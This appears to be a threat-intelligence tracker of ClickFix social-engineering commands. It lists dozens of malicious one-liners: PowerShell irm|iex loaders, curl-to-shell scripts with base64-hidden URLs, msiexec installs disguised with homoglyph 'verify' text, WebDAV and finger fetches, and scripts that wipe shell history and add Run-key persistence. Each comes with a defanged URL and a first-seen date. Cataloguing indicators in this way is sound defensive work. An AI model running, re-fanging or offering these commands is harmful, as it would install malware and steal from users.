ClickFix command tracker

irm 'mqoiwbmkvakvb[.]zhv8[.]com/s/w/1' | iex

URL hxxp://mqoiwbmkvakvb[.]zhv8[.]com/s/w/1

First seen 28 September 2026, 1,524 URLs on this host.

curl -s $(echo "[base64 of: hxxps://escapeai[.]live/loader_v2[.]sh?build=lom&owner=ekm>w#U6]" | base64 -d) | zsh

URL hxxps://escapeai[.]live/loader_v2[.]sh?build=lom&owner=ekm

First seen 8 September 2026, 2 URLs on this host.

URL hxxps://internetserchinkas[.]co/hex/lom/84aa3f59

First seen 2 September 2026, 2 URLs on this host.

iex(irm 'hxxps://copiose[.]org/lom/62a9405c9735a1a7' -UserAgent 'WUA/8382bc918d' -Headers @{'X-WUA'='8382bc918d'})

URL hxxps://copiose[.]org/lom/62a9405c9735a1a7

First seen 13 September 2026, 16 URLs on this host.

(irm 'hxxps://t-trustrest[.]com/proliv2929/bc49660ca54cf9a2')|iex

URL hxxps://t-trustrest[.]com/proliv2929/bc49660ca54cf9a2

First seen 20 October 2026, 670 URLs on this host.

mshta hxxp://timelevel12[.]com/big

URL hxxp://timelevel12[.]com/big

First seen 29 September 2026, 1 URL on this host.

(irm 'hxxps://cosmical2049[.]com/startapv2/f9b9bfb54f8b30ec' -UserAgent 'WUA/b1d0126493' -Headers @{'X-WUA'='b1d0126493'})|iex

URL hxxps://cosmical2049[.]com/startapv2/f9b9bfb54f8b30ec

First seen 7 October 2026, 41 URLs on this host.

curl -s $(echo "[base64 of: hxxps://groverudder12[.]com/curl/c5iu9pzo7q/luav5qbvsjzop7b9s9.dat]" | openssl base64 -d -A) | zsh ; curl -fsS 'hxxps://xorados[.]com/x/proliv2929' >/dev/null

URL hxxps://xorados[.]com/x/proliv2929

First seen 7 October 2026, 228 URLs on this host.

export SRC_URL='{_0x55728c}' && (cd /tmp && curl -kfsSL "hxxp://138[.]124[.]78[.]70/87da77e63a37?force=1\x22 -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf '\033[3J'; history -d $(history 1 2>/dev/null | awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null; printf '\n  \033[32m✓ Verification successful\033[0m\n\n'

URL hxxp://138[.]124[.]78[.]70/87da77e63a37?force=1

First seen 15 October 2026, 1 URL on this host.

(irm 'hxxp://hagosuro[.]lc/dantestraff18/9956ca98593d95f4' -UserAgent 'WUA/bdda1e77b2' -Headers @{'X-WUA'='bdda1e77b2'})|iex

URL hxxp://hagosuro[.]lc/dantestraff18/9956ca98593d95f4

First seen 22 October 2026, 29 URLs on this host.

curl -s $(echo "[base64 of: hxxps://trek-72[.]com/curl/nrzucphh/482saou8yf54ndlb4.json]" | openssl base64 -d -A) | zsh

URL hxxps://trek-72[.]com/curl/nrzucphh/482saou8yf54ndlb4.json

First seen 15 October 2026, 2 URLs on this host.

curl -s $(echo "[base64 of: hxxps://groverudder12[.]com/curl/c5iu9pzo7q/luav5qbvsjzop7b9s9.dat]" | openssl base64 -d -A) | zsh ; curl -fsS 'hxxps://xorados[.]com/x/proliv2929' >/dev/null

URL hxxps://groverudder12[.]com/curl/c5iu9pzo7q/luav5qbvsjzop7b9s9.dat

First seen 8 October 2026, 1 URL on this host.

URL hxxps://wall[.]casajuanchos[.]com/s

First seen 2 October 2026, 2 URLs on this host.

irm 'kmrerlhcgwzhb[.]zo15[.]com/s/w/1' | iex

URL hxxp://kmrerlhcgwzhb[.]zo15[.]com/s/w/1

First seen 29 September 2026, 280 URLs on this host.

irm 'ncheck-brows[.]beer/78e7cd9b2b5c0fe4'|iex

URL hxxp://ncheck-brows[.]beer/78e7cd9b2b5c0fe4

First seen 29 October 2026, 368 URLs on this host.

irm 'browse-veriid[.]beer/e369c83940f3514c'|iex

URL hxxp://browse-veriid[.]beer/e369c83940f3514c

First seen 12 October 2026, 441 URLs on this host.

irm 'idcheckbrowese[.]codes/f6351cb81803997a'|iex

URL hxxp://idcheckbrowese[.]codes/f6351cb81803997a

First seen 4 October 2026, 353 URLs on this host.

echo "[base64 of: curl -s -o /tmp/chrome hxxp://109[.]238[.]87[.]111/d/unix72040355; chmod +x /tmp/chrome; /tmp/chrome > /dev/null 2>&1 & disown]" | base64 -d | bash; curl -fsS 'hxxps://cleanavcheskre[.]com/x/ug' >/dev/null

URL hxxps://cleanavcheskre[.]com/x/ug

First seen 28 September 2026, 232 URLs on this host.

irm 'brows-check[.]codes/9bf7330c1b2a823f'|iex

URL hxxp://brows-check[.]codes/9bf7330c1b2a823f

First seen 10 October 2026, 314 URLs on this host.

export SRC_URL=\x27{_0x53dc6d}\x27 && (cd /tmp && curl -kfsSL \x22hxxp://45[.]147[.]31[.]197/41a7b0ffa7748712?force=1\x22 -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf '\033[3J'; history -d $(history 1 2>/dev/null | awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null; printf '\n  \033[32m✓ Verification successful\033[0m\n\n'

URL hxxp://45[.]147[.]31[.]197/41a7b0ffa7748712?force=1

First seen 5 October 2026, 2 URLs on this host.

irm hxxps://ubbrobccheck20[.]cc/cdn/sync/traffic?r=2723|iex

URL hxxps://ubbrobccheck20[.]cc/cdn/sync/traffic?r=2723

First seen 28 October 2026, 230 URLs on this host.

irm 'jscdncloude[.]beer/661e5a04c40e8922'|iex

URL hxxp://jscdncloude[.]beer/661e5a04c40e8922

First seen 21 October 2026, 285 URLs on this host.

irm hxxps://verifyidentrob01[.]cc/cdn/sync/traffic?r=3386|iex

URL hxxps://verifyidentrob01[.]cc/cdn/sync/traffic?r=3386

First seen 28 October 2026, 220 URLs on this host.

curl -s $(echo "[base64 of: hxxps://mikoblico[.]xyz/loader_v2[.]sh?build=new_traffic&owner=D4NTE]" | base64 -d) | zsh ; curl -fsS 'hxxps://cleanavcheskre[.]com/x/proliv2929' >/dev/null

URL hxxps://mikoblico[.]xyz/loader_v2[.]sh?build=new_traffic&owner=D4NTE

First seen 29 September 2026, 2 URLs on this host.

irm 'checkyoubrowse[.]codes/2c28b05a81c6a4a1'|iex

URL hxxp://checkyoubrowse[.]codes/2c28b05a81c6a4a1

First seen 7 October 2026, 228 URLs on this host.

powershell -w h "iex(irm 'fingerprint-veri[.]info/d8fc26fb3c8ae49a'); Start-Sleep -Seconds 30"; exit

URL hxxp://fingerprint-veri[.]info/d8fc26fb3c8ae49a

First seen 26 September 2026, 1 URL on this host.

irm 'id-verfied[.]boats/2c35f4b833688b18'|iex

URL hxxp://id-verfied[.]boats/2c35f4b833688b18

First seen 25 October 2026, 267 URLs on this host.

iex(irm 'hxxps://gfisoda[.]biz/01/b342d7b8f00999fa' -UserAgent 'WUA/627f24a83a' -Headers @{'X-WUA'='627f24a83a'})

URL hxxps://gfisoda[.]biz/01/b342d7b8f00999fa

First seen 16 October 2026, 36 URLs on this host.

export SRC_URL='{_0xf2a9d7}' && (cd /tmp && curl -kfsSL "hxxp://45[.]158[.]199[.]240/fd8dc70d485d?force=1" -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf '\033[3J'; history -d $(history 1 2>/dev/null | awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null; printf '\n  \033[32m✓ Verification successful\033[0m\n\n'

URL hxxp://45[.]158[.]199[.]240/fd8dc70d485d?force=1

First seen 31 October 2026, 1 URL on this host.

(irm 'hxxps://lepafonso[.]bz/dantestraff2929/7d180aad5b40f31e' -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6246.20 Safari/537.36' -Headers @{'X-WUA'='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6246.20 Safari/537.36'} -TimeoutSec 45)|iex

URL hxxps://lepafonso[.]bz/dantestraff2929/7d180aad5b40f31e

First seen 31 October 2026, 1 URL on this host.

iex((iwr 'hxxps://dog[.]caspers66[.]com/pidor.ps1' -UseBasicParsing).Content)

URL hxxps://dog[.]caspers66[.]com/pidor.ps1

First seen 27 September 2026, 1 URL on this host.

export SRC_URL=\x27{_0x319963}\x27 && (cd /tmp && curl -kfsSL \x22hxxp://95[.]163[.]152[.]66/41a7b0ffa7748712?force=1\x22 -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf \x27033[3J\x27; history -d $(history 1 2>/dev/null | awk \x27{print $1}\x27) 2>/dev/null; fc -p /dev/null 2>/dev/null; printf \x27
  033[32m✓ Verification successful033[0m

\x27

URL hxxp://95[.]163[.]152[.]66/41a7b0ffa7748712?force=1

First seen 5 October 2026, 2 URLs on this host.

curl -s $(echo "[base64 of: hxxps://spruce21[.]com/curl/r891bbmlj9/bm7zevpbkr7fwv3v023htl.txt]" | openssl base64 -d -A) | zsh ; curl -fsS 'hxxps://xursod[.]com/x/proliv2929' >/dev/null

URL hxxps://xursod[.]com/x/proliv2929

First seen 22 September 2026, 93 URLs on this host.

irm 'verifing-server[.]codes/5548f8f4efffe692'|iex

URL hxxp://verifing-server[.]codes/5548f8f4efffe692

First seen 18 October 2026, 158 URLs on this host.

cmd /c "(echo cd /d %~dp0&echo copy /b /y %windir%\system32\c?rl.exe x1.exe&echo .\x1.exe -sLoa.cmd hxxps://efreitorher[.]org/h/c/f9e1881c658d8b72&echo .\a.cmd&echo del a.cmd x1.exe)>%PUBLIC%\t.cmd& pcalua -a %PUBLIC%\t.cmd&rem reCaptcha ID: 255901"

URL hxxps://efreitorher[.]org/h/c/f9e1881c658d8b72&echo

First seen 31 October 2026, 91 URLs on this host.

IEX((New-Object Net.WebClient).DownloadString('hxxps://red[.]chuseatery[.]com/pidor.ps1'))

URL hxxps://red[.]chuseatery[.]com/pidor.ps1

First seen 12 October 2026, 1 URL on this host.

export SRC_URL=\x27{_0x4582fc}' && (cd /tmp && curl -kfsSL "hxxp://77[.]110[.]102[.]43/d2503d96a3?force=1" -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf '\033[3J'; history -d $(history 1 2>/dev/null | awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null; printf '\n  \033[32m✓ Verification successful\033[0m\n\n'

URL hxxp://77[.]110[.]102[.]43/d2503d96a3?force=1

First seen 29 September 2026, 1 URL on this host.

irm 'code[.]nvc-info[.]beer/ad3b684b3b15342a'|iex

URL hxxp://code[.]nvc-info[.]beer/ad3b684b3b15342a

First seen 17 October 2026, 102 URLs on this host.

curl -s $(echo "[base64 of: hxxps://escapeai[.]live/loader_v2[.]sh?build=mybuild&owner=D4NTE]" | base64 -d) | zsh ; curl -fsS 'hxxps://immmerhency[.]com/x/test_proliv' >/dev/null

URL hxxps://immmerhency[.]com/x/test_proliv

First seen 7 September 2026, 67 URLs on this host.

cmd /c net use Z: hxxp://94[.]156[.]170[.]255/webdav /persistent:no && "Z:\update.cmd" & net use Z: /delete

URL hxxp://94[.]156[.]170[.]255/webdav

First seen 7 September 2026, 1 URL on this host.

irm 'cloud-browse[.]codes/6c03334faed88424'|iex

URL hxxp://cloud-browse[.]codes/6c03334faed88424

First seen 19 October 2026, 109 URLs on this host.

irm 'codes[.]caffe-img[.]com/07a3689f14871386'|iex

URL hxxp://codes[.]caffe-img[.]com/07a3689f14871386

First seen 27 October 2026, 99 URLs on this host.

irm 'entry-verifed-cdn[.]codes/15e61a20d7c807c3'|iex

URL hxxp://entry-verifed-cdn[.]codes/15e61a20d7c807c3

First seen 28 September 2026, 97 URLs on this host.

cmd /c net use Z: hxxp://185[.]246[.]223[.]71/webdav /persistent:no && "Z:\update.cmd" & net use Z: /delete

URL hxxp://185[.]246[.]223[.]71/webdav

First seen 30 September 2026, 1 URL on this host.

echo '[base64 of: curl -sf hxxps://macrepairtool[.]com/v6cncj/5KYcIGV883ms | osascript -l JavaScript]' | base64 -d | zsh ; curl -fsS 'hxxps://imacos[.]cc/x/newtest1709' >/dev/null

URL hxxps://imacos[.]cc/x/newtest1709

First seen 17 September 2026, 55 URLs on this host.

irm 'browseid[.]codes/f0e7541fad5b9822'|iex

URL hxxp://browseid[.]codes/f0e7541fad5b9822

First seen 1 October 2026, 101 URLs on this host.

curl -s $(echo "[base64 of: hxxps://forgewillow[.]com/curl/2vbbg6yba0hl/dxjjvf23wwcvx08ygvxmc3a.json]" | openssl base64 -d -A) | zsh

URL hxxps://forgewillow[.]com/curl/2vbbg6yba0hl/dxjjvf23wwcvx08ygvxmc3a.json

First seen 15 September 2026, 1 URL on this host.

iex(iwr hxxps://cloudelivrenterprise[.]com//?sid=REPLACE_ID -UseBasicParsing)

URL hxxps://cloudelivrenterprise[.]com//?sid=REPLACE_ID

First seen 29 September 2026, 1 URL on this host.

irm 'browse-codes-enter[.]beer/46f1e051fa8aeefa'|iex

URL hxxp://browse-codes-enter[.]beer/46f1e051fa8aeefa

First seen 14 October 2026, 72 URLs on this host.

iwr -Uri ('hxxps://humanwebpage[.]online/get_verify?i=10638&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&b='+((Get-CimInstance Win32_ComputerSystem).PartOfDomain)) -OutF '$($pwd)865[.]zip' -UseB; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory('$($pwd)865[.]zip','$($pwd)865'); attrib +h +s '$($pwd)865'; sp 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' -na 'rest' -val '$($pwd)865bin.exe'; saps -F '$($pwd)865bin.exe' -Wo '$($pwd)865'

URL hxxps://humanwebpage[.]online/get_verify?i=10638&a=

First seen 3 October 2026, 83 URLs on this host.

%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" api[.]stepanapis[.]com/prs& start "" "%y")"

URL hxxp://api[.]stepanapis[.]com/prs

First seen 13 October 2026, 1 URL on this host.

MSIEXEC.exe /i http:/coeuau[.]com\sulzv7zjwvhs7k /qn S1="Windоws Sесurity Неаlth Sеrviсе 10.0.22621 р                            То  vеrify  рush  thе  ЕNTЕR  kеy             "

URL hxxp://coeuau[.]com

First seen 6 October 2026, 40 URLs on this host.

%COMSPEC% /c start "" /m^i^n %COMSPEC% /c start "" /m^i^n %COMSPEC% /c start "" /m^i^n for /f "delims=" %k in (',f^^i^^n^^g^^e^^r peufghXXDh@dns-api[.]org') do %k &                --------------P_u_s_h----t_h_e----_E_n_t_e_r_----k_e_y--

URL finger://dns-api[.]org/peufghXXDh

First seen 13 October 2026, 1 URL on this host.

curl -sf hxxps://macrepairtool[.]com/v6cncj/5KYcIGV883ms | osascript -l JavaScript

URL hxxps://macrepairtool[.]com/v6cncj/5KYcIGV883ms

First seen 1 September 2026, 2 URLs on this host.

(irm 'hxxps://trustchecknes[.]com/ae8ouxb9gx/7952bc994574e7f0')|iex

URL hxxps://trustchecknes[.]com/ae8ouxb9gx/7952bc994574e7f0

First seen 2 November 2026, 49 URLs on this host.

irm hxxps://zurggoyttjof21[.]cc/ps/traffic?r=415e|iex

URL hxxps://zurggoyttjof21[.]cc/ps/traffic?r=415e

First seen 20 October 2026, 47 URLs on this host.

irm hxxps://checkmybtrobot[.]cc/ps/traffic?r=6380|iex

URL hxxps://checkmybtrobot[.]cc/ps/traffic?r=6380

First seen 5 October 2026, 46 URLs on this host.

cmd.exe /c net use Z: hxxp://144[.]31[.]47[.]76/webdav /persistent:no && powershell -ExecutionPolicy Bypass -File

URL hxxp://144[.]31[.]47[.]76/webdav

First seen 7 September 2026, 1 URL on this host.

irm hxxps://btorsercoyt31[.]cc/ps/traffic?r=216a|iex

URL hxxps://btorsercoyt31[.]cc/ps/traffic?r=216a

First seen 20 October 2026, 45 URLs on this host.

msiexec /i hxxps://activityof[.]com/datei /qn

URL hxxps://activityof[.]com/datei

First seen 7 September 2026, 1 URL on this host.

msieXeC.exe /i http:\\cf-www[.]com\k3kwfghbu2fro1 /Q S1="Dеviсе Sеtuр Ноst 10.0.19041 rеаdy                                      То  vеrify  рush  thе  ЕNTЕR  kеy             "

URL hxxp://cf-www[.]com/k3kwfghbu2fro1

First seen 30 September 2026, 37 URLs on this host.

iwr -Uri ('hxxps://cloudredirect[.]online/get_verify?i=39086&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&b='+((Get-CimInstance Win32_ComputerSystem).PartOfDomain)) -OutF '$($pwd)514[.]zip' -UseB; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory('$($pwd)514[.]zip','$($pwd)514'); attrib +h +s '$($pwd)514'; sp 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' -na 'black_kale_light' -val '$($pwd)514bin.exe'; saps -F '$($pwd)514bin.exe' -Wo '$($pwd)514'; sleep 60; iwr -Uri ('hxxps://cloudredirect[.]online/debug_info?i=39086&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&runned='+([bool](tasklist|findstr changepk))+'&dir='+([Uri]::EscapeDataString(((Get-ChildItem -EA 0 '$($pwd)514'|ForEach-Object {

URL hxxps://cloudredirect[.]online/get_verify?i=39086&a=

First seen 3 October 2026, 70 URLs on this host.

irm 'browse-id-enter[.]codes/e3450fcb80009856'|iex

URL hxxp://browse-id-enter[.]codes/e3450fcb80009856

First seen 16 October 2026, 37 URLs on this host.

msiexec /i hxxps://kloudtechnology[.]in/step /qn

URL hxxps://kloudtechnology[.]in/step

First seen 6 September 2026, 1 URL on this host.

$url = "hxxps://franfrbar[.]com/2Uq";
$filename = "Fileside.exe";
$path = $env:TEMP;
$archive = Join-Path $path "ZPVrDpod[.]zip";
$filepath = Join-Path $path $filename;
$signature = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
	[DllImport("kernel32.dll")]
	public static extern IntPtr GetConsoleWindow();
	[DllImport("user32.dll")]
	public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
}
"@;
Add-Type $signature;
$hwnd = [Win32]::GetConsoleWindow();
if($hwnd -ne [IntPtr]::Zero)
{
	[Win32]::ShowWindow($hwnd, 0);
}
New-Item -Path $path -ItemType Directory -Force;
curl $url -o $archive;
Expand-Archive -Path $archive -DestinationPath $path -Force;
Remove-Item $archive -Force;
Start-Process $filepath;
exit

URL hxxps://franfrbar[.]com/2Uq

First seen 20 October 2026, 1 URL on this host.

MSIEXEC.exe /i http:/cf-restapi[.]com\w4dbo4uh79vnbf /qn S1="Windоws Маnаgеmеnt Аgеnt 10.0.22621 rеаdy                               То  vеrify  рush  thе  ЕNTЕR  kеy             "

URL hxxp://cf-restapi[.]com

First seen 12 October 2026, 1 URL on this host.

%COMSPEC% /c start "" /m^i^n %COMSPEC% /c start "" /m^i^n %COMSPEC% /c start "" /m^i^n for /f "delims=" %i in (',f^^i^^n^^g^^e^^r RscncqFRZn@id-dns[.]net') do %i &                --------------P_u_s_h----t_h_e----_E_n_t_e_r_----k_e_y--

URL finger://id-dns[.]net/RscncqFRZn

First seen 10 October 2026, 1 URL on this host.

curl -s $(echo "[base64 of: hxxps://spruce21[.]com/curl/r891bbmlj9/bm7zevpbkr7fwv3v023htl.txt]" | openssl base64 -d -A) | zsh ; curl -fsS 'hxxps://xursod[.]com/x/proliv2929' >/dev/null

URL hxxps://spruce21[.]com/curl/r891bbmlj9/bm7zevpbkr7fwv3v023htl.txt

First seen 28 September 2026, 1 URL on this host.

export SRC_URL=\x27{_0x53a206}' && (cd /tmp && curl -kfsSL "hxxp://62[.]60[.]148[.]126/9fe321dd7b?force=1" -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf \x27033[3J\x27; history -d $(history 1 2>/dev/null | awk \x27{print $1}\x27) 2>/dev/null; fc -p /dev/null 2>/dev/null; printf \x27
  033[32m✓ Verification successful033[0m

\x27

URL hxxp://62[.]60[.]148[.]126/9fe321dd7b?force=1

First seen 27 September 2026, 1 URL on this host.

URL hxxp://elxxvvx[.]xyz/f

First seen 1 September 2026, 2 URLs on this host.

forfiles /p %windir% /m system.ini /c "cmd /c bitsa^dmin /transfer 9d3e /download /priority foreground hxxps://ktoktotam[.]cc/h/c/f8a4af060d295ec7 "%TEMP%\c169e7.bat" & ping -n 2 127.0.0.1 >nul & call "%TEMP%\c169e7.bat" & rem reCaptcha ID: 602235"

URL hxxps://ktoktotam[.]cc/h/c/f8a4af060d295ec7

First seen 19 October 2026, 24 URLs on this host.

iwr -Uri ('hxxps://webpagesafe[.]online/get_verify?i=5760&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&b='+((Get-CimInstance Win32_ComputerSystem).PartOfDomain)) -OutF '$($pwd)389[.]zip' -UseB; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory('$($pwd)389[.]zip','$($pwd)389'); attrib +h +s '$($pwd)389'; sp 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' -na 'cauliflower_cottage' -val '$($pwd)389bin.exe'; saps -F '$($pwd)389bin.exe' -Wo '$($pwd)389'

URL hxxps://webpagesafe[.]online/get_verify?i=5760&a=

First seen 29 September 2026, 48 URLs on this host.

export SRC_URL=\x27{_0x1fee75}\x27 && (cd /tmp && curl -kfsSL \x22hxxp://45[.]131[.]215[.]56/8031e818c7a46?force=1" -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf '\033[3J'; history -d $(history 1 2>/dev/null | awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null; printf '\n  \033[32m✓ Verification successful\033[0m\n\n'

URL hxxp://45[.]131[.]215[.]56/8031e818c7a46?force=1

First seen 23 September 2026, 1 URL on this host.

MSIEXEC.exe /i http:\\api-cf[.]com/3deayr8287fpti /qn S1="Ноst Рrосеss fоr Windоws Sеrviсеs 10.0.19041                            То  vеrify  рush  thе  ЕNTЕR  kеy             "

URL hxxp://api-cf[.]com/3deayr8287fpti

First seen 14 October 2026, 9 URLs on this host.

irm 'auth-code[.]nvc-info[.]beer/64ad640b5003e636'|iex

URL hxxp://auth-code[.]nvc-info[.]beer/64ad640b5003e636

First seen 18 October 2026, 29 URLs on this host.

MSieXeC /i https:\\dank-us[.]com/update\botcheck -QN

URL hxxps://dank-us[.]com/update/botcheck

First seen 6 September 2026, 1 URL on this host.

URL hxxps://rewardgoldshop[.]com/q

First seen 1 October 2026, 1 URL on this host.

curl.exe -s hxxps://script-six-tawny[.]vercel[.]app/win -L | cmd

URL hxxps://script-six-tawny[.]vercel[.]app/win

First seen 26 September 2026, 3 URLs on this host.

msiexeC.exe /i https:/\api-v1[.]cfd\xdgh2uj11w7h1w /QN S1="с​асhе id​lе                                                       Т​о  vеr​if​y  рu​sh  th​е  ЕNT​ЕR  kе​y             "

URL hxxps://api-v1[.]cfd/xdgh2uj11w7h1w

First seen 20 October 2026, 20 URLs on this host.

(irm 'hxxps://gencaltchacleanchrck[.]com/h/2729fa47c8ee2dfb' -UserAgent 'WUA/3c90f35dcd' -Headers @{'X-WUA'='3c90f35dcd'})|iex

URL hxxps://gencaltchacleanchrck[.]com/h/2729fa47c8ee2dfb

First seen 5 October 2026, 23 URLs on this host.

cmd /c "(echo cd /d %~dp0&echo copy /b /y %windir%\system32\c?rl.exe x1.exe&echo .\x1.exe -sLoa.cmd hxxps://nikogdatakonebilo[.]cc/h/c/a70c1e5f706467be&echo .\a.cmd&echo del a.cmd x1.exe)>%PUBLIC%\t.cmd& pcalua -a %PUBLIC%\t.cmd&rem reCaptcha ID: 260120"

URL hxxps://nikogdatakonebilo[.]cc/h/c/a70c1e5f706467be&echo

First seen 23 October 2026, 21 URLs on this host.

MSiExec.exe /i https:/\CF-com[.]sbs\tiokzv947cnsk9 /QN S1="Рrосеs5  о3  М5dulе  Nеt0оrk                                  𝚃​𝚘  𝚟​𝚎𝚛𝚒𝚏𝚢  𝚙𝚞​𝚜𝚑  𝚝​𝚑𝚎  𝙴​𝙽𝚃𝙴𝚁  𝚔​𝚎𝚢          "

URL hxxps://CF-com[.]sbs/tiokzv947cnsk9

First seen 26 October 2026, 20 URLs on this host.

irm hxxps://checkdvvc99[.]cc/ps/traffic?r=acf7|iex

URL hxxps://checkdvvc99[.]cc/ps/traffic?r=acf7

First seen 5 October 2026, 20 URLs on this host.

iex(iwr hxxps://clouddelivry[.]com/?sid=REPLACE_ID)

URL hxxps://clouddelivry[.]com/?sid=REPLACE_ID

First seen 16 October 2026, 7 URLs on this host.

powershell "$d={$input};.('Invo'+'ke-Expression') $(&'irm' (@('uramzkabachok[.]com/confirm','fes1y','ubv2','3j0sbm','iai')|&('?'){$_ -ceq 'uramzkabachok[.]com/confirm'}|&('Select-'+'Object') -First 1)|&('Group-'+'Ob'+'ject')|&('%'){$_.Group})|& $d"

URL hxxp://uramzkabachok[.]com/confirm

First seen 16 September 2026, 1 URL on this host.

MsiExeC.exe /i https:/\API-com[.]cfd\ke4uphjqliyeiw /QN S1="Моnit0r  I7stаllеr  Аg8nt  Н1st                               𝗧​𝗼  𝘃𝗲𝗿𝗶​𝗳𝘆  𝗽​𝘂𝘀𝗵  𝘁𝗵​𝗲  𝗘​𝗡𝗧𝗘𝗥  𝗸𝗲​𝘆          "

URL hxxps://API-com[.]cfd/ke4uphjqliyeiw

First seen 27 October 2026, 19 URLs on this host.

$(curl -fsSL hxxp://192[.]162[.]199[.]249/we57xj14g)

URL hxxp://192[.]162[.]199[.]249/we57xj14g

First seen 26 September 2026, 4 URLs on this host.

(irm 'hxxps://interseqf[.]com/test_proliv/93f67384cd2b958e' -UserAgent 'WUA/4710d0b75d' -Headers @{'X-WUA'='4710d0b75d'})|iex

URL hxxps://interseqf[.]com/test_proliv/93f67384cd2b958e

First seen 5 September 2026, 18 URLs on this host.

curl -kfsSL $(echo '[base64 of: hxxp://broadspancapital[.]com/curl/001e07c934e19b9d10f621c6b7546b43b2fb1c7b8fce2625fc7b767dfb626336]'|base64 -D)|zsh

URL hxxp://broadspancapital[.]com/curl/001e07c934e19b9d10f621c6b7546b43b2fb1c7b8fce2625fc7b767dfb626336

First seen 6 October 2026, 1 URL on this host.

URL hxxp://threejrev[.]com/r

First seen 11 October 2026, 1 URL on this host.

msiexec /i hxxps://trulynolenmacedonia[.]mk/auth

URL hxxps://trulynolenmacedonia[.]mk/auth

First seen 7 September 2026, 1 URL on this host.

irm hxxps://allowcheckd3[.]cc/ps/traffic?r=d960|iex

URL hxxps://allowcheckd3[.]cc/ps/traffic?r=d960

First seen 28 September 2026, 15 URLs on this host.

irm hxxps://checkvbbrows39[.]cc/ps/traffic?r=3b64|iex

URL hxxps://checkvbbrows39[.]cc/ps/traffic?r=3b64

First seen 14 October 2026, 15 URLs on this host.

msiEXeC.exe /i https:/\lD-com[.]cfd\dbaz51zl1e3fse /QN S1="4есurity  са1hе  Вrоkе7  S5rrоgаtе                            𝚃​𝚘  𝚟𝚎𝚛𝚒​𝚏𝚢  𝚙​𝚞𝚜𝚑  𝚝𝚑​𝚎  𝙴𝙽𝚃​𝙴𝚁  𝚔​𝚎𝚢          "

URL hxxps://lD-com[.]cfd/dbaz51zl1e3fse

First seen 25 October 2026, 13 URLs on this host.

MSiEXeC.exe /i https:/\lD-me[.]sbs\1uikfe63c1mku8 /QN S1="id1е  Surrоgа4е  Соnn9сtеd  6аss                              𝚃​𝚘  𝚟𝚎𝚛𝚒𝚏​𝚢  𝚙𝚞​𝚜𝚑  𝚝𝚑​𝚎  𝙴​𝙽𝚃𝙴𝚁  𝚔𝚎​𝚢          "

URL hxxps://lD-me[.]sbs/1uikfe63c1mku8

First seen 24 October 2026, 13 URLs on this host.

msiexec /i hxxps://shift-art[.]com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

URL hxxps://shift-art[.]com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

First seen 23 September 2026, 1 URL on this host.

URL hxxps://skididks[.]com/test_proliv/5e947c0a971ff8bd

First seen 10 September 2026, 21 URLs on this host.

powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('hxxps://v-k[.]com[.]ua/vcapcha.ps1'))"

URL hxxps://v-k[.]com[.]ua/vcapcha.ps1

First seen 6 September 2026, 1 URL on this host.

$w=New-Object Net.WebClient;$w.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) PowerShell/5.1');$f=$env:TEMP+'123.ps1';$w.DownloadFile('hxxp://85[.]239[.]149[.]120/zDLuGUBz1ACPaN3H',$f);& powershell -nop -ExecutionPolicy Bypass -File $f

URL hxxp://85[.]239[.]149[.]120/zDLuGUBz1ACPaN3H

First seen 6 October 2026, 2 URLs on this host.

iwr -Uri ('hxxps://sunnycloud[.]online/get_verify?i=21971&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&b='+((Get-CimInstance Win32_ComputerSystem).PartOfDomain)) -OutF '$($pwd)993[.]zip' -UseB; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory('$($pwd)993[.]zip','$($pwd)993'); attrib +h +s '$($pwd)993'; sp 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' -na 'comfort_grow' -val '$($pwd)993bin.exe'; saps -F '$($pwd)993bin.exe' -Wo '$($pwd)993'; sleep 60; iwr -Uri ('hxxps://sunnycloud[.]online/debug_info?i=21971&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&runned='+([bool](tasklist|findstr changepk))+'&dir='+([Uri]::EscapeDataString(((Get-ChildItem -EA 0 '$($pwd)993'|ForEach-Object {

URL hxxps://sunnycloud[.]online/get_verify?i=21971&a=

First seen 2 October 2026, 26 URLs on this host.

